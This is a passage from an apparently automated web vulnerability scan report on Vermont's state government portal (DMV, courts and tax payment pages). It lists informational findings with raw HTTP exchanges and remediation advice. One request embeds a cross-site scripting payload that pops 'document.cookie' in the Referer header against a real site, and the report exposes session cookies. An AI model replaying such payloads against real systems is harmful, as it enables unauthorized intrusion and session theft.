Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Fri, 29 Apr 2011 20:16:42 GMT
Server: Apache
p3p: CP="ALL DSP COR ADM TAIi CONi OUR IND PHY ONL UNI PUR COM NAV INT DEM CNT STA GOV", policyref="/w3c/p3p.xml"
Connection: close
Content-Type: text/html
X-Pad: avoid browser bug
Content-Length: 13376

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
<head profile='http://www.w3.org/2006/03/hcard' />
<title>Vermont.gov
...[SNIP]...
9.13. https://secure.vermont.gov/vtcdas/user  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://secure.vermont.gov
Path:   /vtcdas/user

Request

GET /vtcdas/user HTTP/1.1
Host: secure.vermont.gov
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Fri, 29 Apr 2011 20:16:25 GMT
Server: Apache
Cache-Control: private
Content-Length: 6707
Set-Cookie: JSESSIONID=cahlWpUnC2xh; path=/
Connection: close
Content-Type: text/html

<HTML><HEAD><TITLE>VT Courts Online</TITLE>
<META
content="VT Courts Online provides online access to court summary information for civil and criminal court cases in Vermont"
name=description>
<META
c
...[SNIP]...
9.14. https://secure.vermont.gov/vtpay/user  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://secure.vermont.gov
Path:   /vtpay/user

Request

GET /vtpay/user HTTP/1.1
Host: secure.vermont.gov
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Fri, 29 Apr 2011 20:16:29 GMT
Server: Apache
Cache-Control: private
Content-Length: 6573
Set-Cookie: JSESSIONID=cLJAdn4BT3y-; path=/
Connection: close
Content-Type: text/html


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html><!-- #BeginTemplate "/Templates/standard.dwt" -->
<head>
<!-- #BeginEditable "doctitle" -->
<title>VT Pay - Pay Your Taxes Online
...[SNIP]...
10. HTML does not specify charset  previous
There are 4 instances of this issue:

Issue description

If a web response states that it contains HTML content but does not specify a character set, then the browser may analyse the HTML and attempt to determine which character set it appears to be using. Even if the majority of the HTML actually employs a standard character set such as UTF-8, the presence of non-standard characters anywhere in the response may cause the browser to interpret the content using a different character set. This can have unexpected results, and can lead to cross-site scripting vulnerabilities in which non-standard encodings like UTF-7 can be used to bypass the application's defensive filters.

In most cases, the absence of a charset directive does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing HTML content, the application should include within the Content-type header a directive specifying a standard recognised character set, for example charset=ISO-8859-1.

10.1. https://secure.vermont.gov/dmv/express  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://secure.vermont.gov
Path:   /dmv/express

Request

GET /dmv/express HTTP/1.1
Host: secure.vermont.gov
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Fri, 29 Apr 2011 20:16:11 GMT
Server: Apache
Cache-Control: private
Content-Length: 5507
Set-Cookie: JSESSIONID=cIZ9ANgvlFg4; path=/
Connection: close
Content-Type: text/html

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<title>DMV Express - Vermont DMV's One Stop for All Your DMV Needs</title>
<META NAME="Keywords" CONTENT="Vermont, State,
...[SNIP]...
10.2. https://secure.vermont.gov/portal/rotator.php  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://secure.vermont.gov
Path:   /portal/rotator.php

Request

GET /portal/rotator.php?1304108425784 HTTP/1.1
Host: secure.vermont.gov
Connection: keep-alive
Referer: https://secure.vermont.gov/portal/index.php/6e954%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3EXSS.CX.Research
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=211816467.1304107747.1.1.utmcsr=state.vt.us|utmccn=(referral)|utmcmd=referral|utmcct=/; __utma=211816467.1804786048.1304107747.1304107747.1304107747.1; __utmc=211816467; __utmb=211816467.15.9.1304107926585

Response

HTTP/1.1 200 OK
Date: Fri, 29 Apr 2011 20:20:11 GMT
Server: Apache
Content-Length: 1602
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Type: text/html

<div class="contentdiv" onclick="location.href='http://travel.vermontvacation.com/~/link.aspx?_id=2C746987B2BF4768B89969995EBB56BF&_z=z'" style="cursor:pointer; background: url(/images/portal/rotator/
...[SNIP]...
10.3. https://secure.vermont.gov/vtcdas/user  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://secure.vermont.gov
Path:   /vtcdas/user

Request

GET /vtcdas/user HTTP/1.1
Host: secure.vermont.gov
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Fri, 29 Apr 2011 20:16:25 GMT
Server: Apache
Cache-Control: private
Content-Length: 6707
Set-Cookie: JSESSIONID=cahlWpUnC2xh; path=/
Connection: close
Content-Type: text/html

<HTML><HEAD><TITLE>VT Courts Online</TITLE>
<META
content="VT Courts Online provides online access to court summary information for civil and criminal court cases in Vermont"
name=description>
<META
c
...[SNIP]...
10.4. https://secure.vermont.gov/vtpay/user  previous

Summary

Severity:   Information
Confidence:   Certain
Host:   https://secure.vermont.gov
Path:   /vtpay/user

Request

GET /vtpay/user HTTP/1.1
Host: secure.vermont.gov
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Fri, 29 Apr 2011 20:16:29 GMT
Server: Apache
Cache-Control: private
Content-Length: 6573
Set-Cookie: JSESSIONID=cLJAdn4BT3y-; path=/
Connection: close
Content-Type: text/html


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html><!-- #BeginTemplate "/Templates/standard.dwt" -->
<head>
<!-- #BeginEditable "doctitle" -->
<title>VT Pay - Pay Your Taxes Online
...[SNIP]...
Report generated by XSS.CX at Fri Apr 29 15:30:18 CDT 2011.